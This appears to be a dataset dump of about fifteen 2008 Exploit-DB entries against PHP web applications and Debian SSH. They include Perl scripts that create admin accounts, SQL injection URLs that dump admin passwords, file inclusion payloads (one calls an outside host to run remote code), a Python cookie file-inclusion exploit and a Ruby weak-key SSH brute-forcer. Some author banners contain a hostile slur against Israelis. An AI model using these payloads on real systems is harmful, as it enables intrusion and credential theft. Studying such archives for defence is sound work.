QLWD/code_shield huggingface dataset:
标题: microssys CMS 1.5 - Remote File Inclusion EDB-ID: 5651 CVE: 2008-2396 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-19 漏洞利用脚本: ## microSSys CMS <= 1.5 Remote File Inclusion Vulnerability
## Software site: http://wajox.com/
## ===============================================================
##                   By Raz0r (www.Raz0r.name)
## ===============================================================
## Vulnerable code (index.php@22-25,54-55):
## [22] if(isset($_REQUEST["1"])){
## [23] $P=$_REQUEST["1"];}else{
## [24] $P="main";
## [25] }
## [..]
## [54] if(isset($PAGES[$P])){}else{include("TH.txt");}
## [55] @include($PAGES[$P]);
## Nice...
## ===============================================================
## Exploit:
## http://host/index.php?1=lol&PAGES[lol]=http://raz0r.name/s.php
## =============================================================== 

# milw0rm.com [2008-05-19] URL: https://www.exploit-db.com/exploits/5651
标题: MyPicGallery 1.0 - Arbitrary Add Admin EDB-ID: 5650 CVE: 2008-2347 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-18 漏洞利用脚本: #!/usr/bin/perl

use strict;
use LWP::UserAgent;

print "-+--[ MyPicGallery 1.0 Arbitrary Add-Admin Exploit ]--+-\n";
print "-+--        Discovered && Coded By: t0pP8uZz        --+-\n";
print "-+-- Discovered On: 16 MAY 2008 / h4ck-y0u, milw0rm --+-\n";
print "-+--[ MyPicGallery 1.0 Arbitrary Add-Admin Exploit ]--+-\n";

print "\nEnter URL(http://site.com): ";
 chomp(my $url=<STDIN>);
 
print "\nEnter Username(create's a admin username): ";
 chomp(my $usr=<STDIN>);
 
print "\nEnter Password(create's a admin password): ";
 chomp(my $pwd=<STDIN>);
 
my $ua = LWP::UserAgent->new( agent => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" );
my $ob = $ua->post( $url."/admin/addUser.php?userID=admin", { "submit" => 1, # ugly?
                 "fullName"    => "null",
                 "userName"    => $usr,
                 "password"    => $pwd,
                 "conPassword" => $pwd,
                 "uType"       => "admin",
                 "email"       => "null\@null.com" } );

if($ob->is_success && index($ob->content, "added") != -1) {
 print "\nAdmin Account Added! Login at: ".$url."\n";
} else { print "\nExploit Failed! username already exists?"; }

# milw0rm.com [2008-05-18] URL: https://www.exploit-db.com/exploits/5650
标题: ComicShout 2.5 - 'comic_id' SQL Injection EDB-ID: 5658 CVE: 2008-2456 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-20 漏洞利用脚本: ##########################################################
#
# ComicShout Remote 2.5 SQL Injection Vulnerability
#
# by D3m0n a.k.a Niiub
#
# Home: www.bl4ck-b0x-info
#
# niiub[at]bl4ck-b0x.info
#
##########################################################


##########################################################

Exploit:

/index.php?comic_id=-1+UNION+SELECT+1,2,3,concat(site_admin,char(58),site_pass),5,6+FROM+setup/*


Admin PA:

admin.php

###########################################################

Greetz: dun - sid_psycho - Kacper

###########################################################

# milw0rm.com [2008-05-20] URL: https://www.exploit-db.com/exploits/5658
标题: PHP Jokesite 2.0 - 'cat_id' SQL Injection EDB-ID: 5660 CVE: 2008-2457 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-20 漏洞利用脚本: ||          ||   | ||        
                  o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                 ( :   /    (_)    /           (   . 

                   ================================
                      ==========================
                         ==================== 
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact :  t3tto0 [at] yahoo.com

                 cyb3r-1st [at] hotmail.com

<<!>> Groups : InjEctOr5 T3am 


=======================================================
+++++++++++++ R3membeR Kings of injection +++++++++++++
=======================================================


<<->> script : jokesite 2.0

<<->> download : www.scriptdemo.com/php-jokesite/ver2.0  


=======================================================
++++++++++++++++ pwning israel fuckers ++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit :>>>>>>>>>
                  www.site.me/jokes_category.php?cat_id=-99999999'+union+select+0,1,2,3,database(),5,6,7,8,9,10,user(),12/*

 
=======================================================
+++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================


<<->> My best freinds :: titanichacker $ arb-hawk $ denm0 $ drbaka  $ nicehacker 
                          anaconda-ksa $ Brightdark $ sirus $ crazy-x  and all freinds

<<->> InjEctOr5 TeaM  


<<->> All muslims

# milw0rm.com [2008-05-20] URL: https://www.exploit-db.com/exploits/5660
标题: PHP-AGTC Membership System 1.1a - Arbitrary Add Admin EDB-ID: 5649 CVE: 2007-5752 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-18 漏洞利用脚本: #!/usr/bin/perl

# Note: adduser.php is accessable to a guest/any-user, but if you access through a browser you cant add admin, theres a hidden POST buried in the script, which contains the userlevel.
# Note: alot of sites run this script and they remove the "powered by" dork. Also you can get access to alot of nice site's member sections using this, since its a member management script.

use strict;
use LWP::UserAgent;

print "-+--[ PHP AGTC-Membership System <= 1.1a Arbitrary Add-Admin Exploit ] --+-\n";
print "-+-- Discovered && Coded By: t0pP8uZz  /  Discovered On: 16 MAY 2008   --+-\n";
print "-+-- 1.1a tested, not sure if there are new versions, if there are...  --+-\n";
print "-+-- ... there probarly affected too. Script Download: agtc.co.uk      --+-\n";
print "-+--          Greetz: h4ck-y0u.org, milw0rm.com, CipherCrew            --+-\n";
print "-+--[ PHP AGTC-Membership System <= 1.1a Arbitrary Add-Admin Exploit ] --+-\n";

print "\nEnter URL(http://site.com): ";
 chomp(my $url=<STDIN>);

print "\nAdmin Username(create's your admin username): ";
 chomp(my $usr=<STDIN>);
 
print "\nAdmin Password(create's your admin password): ";
 chomp(my $pwd=<STDIN>);

my $email = "user".int(rand(9999))."\@localhost.com"; # generates a random email, if a attacker has already exploited this site, this allows the script to add another admin account.
my $ua    = LWP::UserAgent->new( agent => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" );
my $ob    = $ua->post( $url."/adduser.php", { "username" => $usr, "userpass" => $pwd, "useremail" => $email, "userlevel" => 4, "Submit" => 1} );

if($ob->is_success && index($ob->content, "registered") != -1) {
 print "Exploit Successfull! Admin Created! Login: $url\n";
} else { print "Failed. Cause's: username exists or site not vulnerable, try again!"; }

# milw0rm.com [2008-05-18] URL: https://www.exploit-db.com/exploits/5649
标题: EntertainmentScript 1.4.0 - 'play.php' SQL Injection EDB-ID: 5654 CVE: 2008-2393 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-19 漏洞利用脚本: #########################################
# rEm0te SQL Injection Vulnerability    
#                                       
# EntertainmentScript V1.4.0  (( play.php id ))
#                                       
#########################################

## Script : EntertainmentScript.com   V1.4.0   name script on demo site is ( fastfreemedia )

## DeMo :  http://demo.fastfreemedia.com/index.php
       
        
#########################################

## AuTh0r : Mr.SQL

## H0ME  : WwW.PaL-HaCkEr.CoM

## Email  :  SQL@Hotmail.it

#########################################

## D0rK ::         :)) not found

###################################################################################

##  (()) -(:: SQL ::)- (())

www.Site.com/
              play.php?id=-96969+union+select+0x28284d722e53514c2929,concat(username,0x3a3a3a3a3a,password),3,4,email,6+from+users/*

--------

##  :: liVe DeMO ::

http://demo.fastfreemedia.com/play.php?id=-96969+union+select+0x28284d722e53514c2929,concat(username,0x3a3a3a3a3a,password),3,4,email,6+from+users/*


###########################################################################

  Gr33Tz   :: HaCkEr-EGy :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH ::     (( MuslimS HaCkErS ))   
                  
##########################################################################
                                                  -((:::: Geek Inj3cT0r ::::))-

# milw0rm.com [2008-05-19] URL: https://www.exploit-db.com/exploits/5654
标题: GNU/Gallery 1.1.1.0 - 'admin.php' Local File Inclusion EDB-ID: 5647 CVE: 2008-2353 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-18 漏洞利用脚本: --==+================================================================================+==--
--==+    GNU/Gallery <= 1.1.1.0 (admin.php) Local File Inclusion Vulnerability     +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 17 MAY 2008
Script Download: http://gnugallery.sourceforge.net/
DORK: N/A



Vendor Has Not Been Notified!



DESCRIPTION: 

GNU/Gallery suffers from a remote file inclusion vulnerability in the "admin.php" file.



Vulnerable Code:

<?php
if($_GET['show']=="") {
  include("admin/index.php");
} else {
  include("admin/".$_GET['show']);
}
?>



Vulnerability:

http://site.com/admin.php?show=../../../../../../../etc/passwd



NOTE/TIP: 

fair amount of sites running, althou no good dork.



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



peace, t0pP8uZz



--==+================================================================================+==--
--==+    GNU/Gallery <= 1.1.1.0 (admin.php) Local File Inclusion Vulnerability     +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-18] URL: https://www.exploit-db.com/exploits/5647
标题: MeltingIce File System 1.0 - Arbitrary Add User EDB-ID: 5648 CVE: 2008-2348 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-18 漏洞利用脚本: #!/usr/bin/perl

use strict;
use LWP::UserAgent;

# NOTE: user a pretty uniqe username, has the script will say successfull if a username aready existed!
# NOTE: exploit is mainly to get a nice quota, but it can also to be used to add a user primeraly because alot of these sites doesnt allow registration.
# Script Download: http://downloads.sourceforge.net/meltingicefs

print "[*] --- [ MeltingIce File System <= 1.0 Remote Arbitrary Add-User ] --- [*]\n";
print "[*] ---Discovered && Coded By: t0pP8uZz / Discovered On: 17 MAY 2008--- [*]\n";
print "[*] --- MeltingIce is a file hosting script, this exploit will add  --- [*]\n";
print "[*] --- a user via the admin panel, and give it a specified quota.  --- [*]\n";
print "[*] --- [ MeltingIce File System <= 1.0 Remote Arbitrary Add-User ] --- [*]\n";

print "\nEnter URL(http://site.com/): ";
 chomp(my $url=<STDIN>);
 
print "\nUsername(create's your username): ";
 chomp(my $usr=<STDIN>);
 
print "\nPassword(create's your password): ";
 chomp(my $pwd=<STDIN>);
 
print "\nEnter Quota(quota(mb) of space you want, ie:9999): ";
 chomp(my $qta=<STDIN>);

my $ua = LWP::UserAgent->new( agent => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" );
my $ob = $ua->post($url."/admin/adduser.php", { "newusername" => $usr, "newpassword" => $pwd, "newquota" => $qta } );

#is_success was acting strangely, so i had to do without.
print "Completed! Try logging in ".$url."\n"; 
exit;

# milw0rm.com [2008-05-18] URL: https://www.exploit-db.com/exploits/5648
标题: CMS WebManager-Pro - Multiple SQL Injections EDB-ID: 5641 CVE: 2008-2351 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-18 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.eu ]

 ##################################################################
 #  [  CMS Webmanager-pro ]   Remote SQL Injection Vulnerability  #
 ##################################################################
 #
 # Script site:  http://webmanager-pro.com/
 # 
 # Vuln: 
 # http://site.com/index.php?lang_id=-1+UNION+SELECT+concat_ws(char(58),id,adminuser,adminpass,status)+from+wmp_admin+limit+0,1/*
 # http://site.com/index.php?menu_id=-1+UNION+SELECT+concat_ws(char(58),id,adminuser,adminpass,status)+from+wmp_admin+limit+0,1/*
 #      
 # Dork example: "CMS Webmanager-pro"
 #
 ###############################################
 # Greetz: D3m0n_DE * sid_psycho * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-05-18] URL: https://www.exploit-db.com/exploits/5641
标题: AlkalinePHP 0.77.35 - 'adduser.php' Arbitrary Add Admin EDB-ID: 5645 CVE: 2008-2346 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-18 漏洞利用脚本: --==+================================================================================+==--
--==+           AlkalinePHP <= 0.77.35 (adduser.php) Arbitrary Add-Admin           +==--
--==+================================================================================+==--



[*] Discovered By: t0pP8uZz
[*] Discovered On: 17 MAY 2008
[*] Script Download: https://sourceforge.net/projects/alkalinephp/
[*] DORK: N/A



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION: 
 
 AlkalinePHP suffers from a insecure adminpage, since the page only handles requests the author probarly
 thought it was safe not to include admin checking, but when we view the source we can cleary see theres
 nothing to stop us making our own request.

 navigating to the below url (with domain replaced of course) will add a admin account.

 do not forget to replace "[user]" and "[pass]" with a actual "username" and "password".



[*] Vulnerability:

 http://site.com/adduser.php?real_name=null&user_name=[user]&password=[pass]&level=10&email=null@null.com&website=null&misc=null



[*] NOTE/TIP: 

 after running the above url (with domain replaced of course) it may seem nothing has happend,
 but try loggin in after with the username and password you created.

 admin login is the normal user login.

 once your admin you can look here to view the mysql connection information "/editsettings.php"
 another intresting file to view is "/edituser.php"



[*] GREETZ: 

 milw0rm.com, h4ck-y0u.org, CipherCrew !



[-] peace, 
 t0pP8uZz



--==+================================================================================+==--
--==+           AlkalinePHP <= 0.77.35 (adduser.php) Arbitrary Add-Admin           +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-18] URL: https://www.exploit-db.com/exploits/5645
标题: WR-Meeting 1.0 - 'msnum' Local File Disclosure EDB-ID: 5637 CVE: 2008-2355 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-17 漏洞利用脚本: | By Cr@zy_King / crazy_kinq@hotmail.co.uk \

^| GrtZ : TheKacak - Crackers_Child - Rmx - TR_ip - Eno7 - DreamTurk - KnocKout - The_Bekir and str0ke \

^| WR-Meeting v1.0 FI \

^| Down : http://www.wr-script.ru/ \

^| Demo : http://www.wr-script.ru/meeting/

^| Info : t4sc1zkr4L Best Of Bug Researches

^| Files : index.php \

^| Rfi : http://localhost/index.php?event=coment&msnum=../config.php%00 \

---------

# milw0rm.com [2008-05-17] URL: https://www.exploit-db.com/exploits/5637
标题: Smeego 1.0 - 'Cookie lang' Local File Inclusion EDB-ID: 5640 CVE: 2008-2352 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-17 漏洞利用脚本: # Smeego CMS Local File Include Exploit
# by
# 0in from Dark-Coders Programming & Security Group
# >>>>>>>> http://dark-coders.4rh.eu <<<<<<<<<<<<<<
#--------------------------------------------------------
# Contact: 0in(dot)email[at]gmail(dot)com
#--------------------------------------------------------
# Greetings to: Die_Angel,suN8Hclf,m4r1usz,djlinux,doctor
#--------------------------------------------------------
# Description:
# Smeego is a Content Management System or Portal
# System written in PHP and designed to be
# easy to install and use. Smeego has a mature code
# and comes with cool modules and themes
# for you to start your own dynamic and database
# driven website. Bla bla Bla [...]
# -------------------------------------------------------
# Script home: http://smeego.com
# -------------------------------------------------------
# Vuln:
# >>>>>> File: mainfile.php <<<<<<<
#if ($display_errors == 1) { // We don't se any errors ;(
# @ini_set('display_errors', 1);
#} else {
# @ini_set('display_errors', 0);
#}
#
#if (isset($newlang)) {
#
# if (file_exists("language/lang-".$newlang.".php")) {
# setcookie("lang",$newlang,time()+31536000);
# include_once("language/lang-".$newlang.".php");
# $currentlang = $newlang;
# } else {
# setcookie("lang",$language,time()+31536000);
# include_once("language/lang-".$language.".php");
# $currentlang = $language;
# }
#} elseif (isset($lang)) {
#
# include_once("language/lang-".$lang.".php");
# $currentlang = $lang;
#} else {
# setcookie("lang",$language,time()+31536000);
# include_once("language/lang-".$language.".php");
# $currentlang = $language;
#}
# >>>>>> End <<<<<<<
# So.. We can send Cookie: lang=[lfi]

# -------------------------------------------------------

# Simple Python Exploit:

#!/usr/bin/python
import sys
import time
import httplib
print '====================================================='
print ' Smeego CMS Local File INclude Exploit '
print ' by '
print ' 0in from Dark-Coders Programming & Security Group! '
print ' http://dark-coders.4rh.eu '
print '====================================================='
try:
target=sys.argv[1]
path=sys.argv[2]
file=sys.argv[3]
except Exception:
print '\nUse: %s [target] [path] [file]' % sys.argv[0]
quit()
i=0
lfi='../'
target+=":80"
special="%00"
file+=special
for i in range(9):
lfi+="../"
print '---------------------------------------------------------'
mysock=httplib.HTTPConnection(target)
mysock=httplib.HTTPConnection(target)
mysock.putrequest("GET",path)
mysock.putheader("User-Agent","Billy Explorer v666")
mysock.putheader('Accept', 'text/html')
mysock.putheader('Accept-Language',' en-us,en;q=0.5')
mysock.putheader('Cookie','lang=%s%s' % (lfi,file))
mysock.endheaders()
reply=mysock.getresponse()
print reply.read()
time.sleep(2)
mysock.close()
print '----------------------------------------------------------'

#EOFF

# milw0rm.com [2008-05-17] URL: https://www.exploit-db.com/exploits/5640
标题: OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH (Ruby) EDB-ID: 5632 CVE: 2008-0166 类型: REMOTE 平台: LINUX 发布日期: 2008-05-16 漏洞利用脚本: #!/usr/bin/ruby
#
# Debian SSH Key Tester
# L4teral <l4teral [at] gmail com>
#
# This tool helps to find user accounts with weak SSH keys
# that should be regenerated with an unaffected version
# of openssl.
# 
# You will need the precalculated keys provided by HD Moore
# See http://metasploit.com/users/hdm/tools/debian-openssl/
# for further information.
#
# Common Keys:
#
# https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5632.tar.bz2 (debian_ssh_dsa_1024_x86.tar.bz2)
# https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2)
#
#
# Usage:
# debian_openssh_key_test.rb <host> <user> <keydir>
#
# E-DB Note: See here for an update ~ https://github.com/offensive-security/exploitdb/pull/76/files
#

require 'thread'

THREADCOUNT = 10
KEYSPERCONNECT = 3

queue = Queue.new
threads = []
keyfiles = []

host = ARGV.shift or raise "no host given!"
user = ARGV.shift or raise "no user given!"
keysdir = ARGV.shift or raise "no key dir given!"

Dir.new(keysdir).each do |f|
  if f =~ /\d+$/ then
    keyfiles << f
    queue << f
  end
end

totalkeys = queue.length
currentkey = 1

THREADCOUNT.times do |i|
  threads << Thread.new(i) do |j|
    while !queue.empty?
      keys = []
      KEYSPERCONNECT.times { keys << queue.pop unless queue.empty? }
      keys.map! { |f| f = File.join(keysdir, f) }
      keys.each do |k|
        puts "testing key #{currentkey}/#{totalkeys} #{k}..."
        currentkey += 1
      end
      system "ssh -l #{user} -o PasswordAuthentication=no -i #{keys.join(" -i ")} #{host} \"exit\" &>/dev/null"
      if $? == 0 then
        keys.each do |k|
          system "ssh -l #{user} -o PasswordAuthentication=no -i #{k} #{host} \"exit\" &>/dev/null"
          if $? == 0 then
            puts "KEYFILE FOUND: \n#{k}"
            exit
          end
        end
      end
    end
  end
end

trap("SIGINT") do
  threads.each { |t| t.exit() } 
  exit
end

threads.each { |t| t.join }

# milw0rm.com [2008-05-16] URL: https://www.exploit-db.com/exploits/5632
标题: How2ASP.net WebBoard 4.1 - SQL Injection EDB-ID: 5638 CVE: 2008-2417 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-17 漏洞利用脚本: ==========================================================
               How2ASP.net Webboard 4.1             
           Remote SQL Injection Vulnerability             
==========================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 17 May 2008
SITE   : www.citecclub.org


#####################################################
 APPLICATION : How2ASP.net Webboard   
 VERSION     : <= 4.1   #
 VENDOR      : http://howtoasp.net   
 DOWNLOAD    : http://howtoasp.net/dl/app/wb41/webboard41.zip
#####################################################


DORK: "Powered by How2asp"

---Exploit---

http://[target]/[path]/showQAnswer.asp?qNo=441%20union%20select%201,2,Login,4,5,Password,7,8,9,10,11,12,13,14%20from%20member%00

http://[target]/[path]/showQAnswer.asp?qNo=[SQL Statement]


---NOTE/TIP---

You must know what columns number that appear on pages, Insert username or password into columns number

You can enumerate all username and password use -> 

http://[target]/[path]/showQAnswer.asp?qNo=441%20union%20select%201,2,Login,4,5,Password,7,8,9,10,11,12,13,14%20from%20member
%20where%20Login%20not%20in%20('admin','test',....)%00

##################################################################
# Greetz: ZeQ3uL,BAD $ectors, Snapter, Conan, Win7dos, JabAv0C   #
##################################################################

# milw0rm.com [2008-05-17] URL: https://www.exploit-db.com/exploits/5638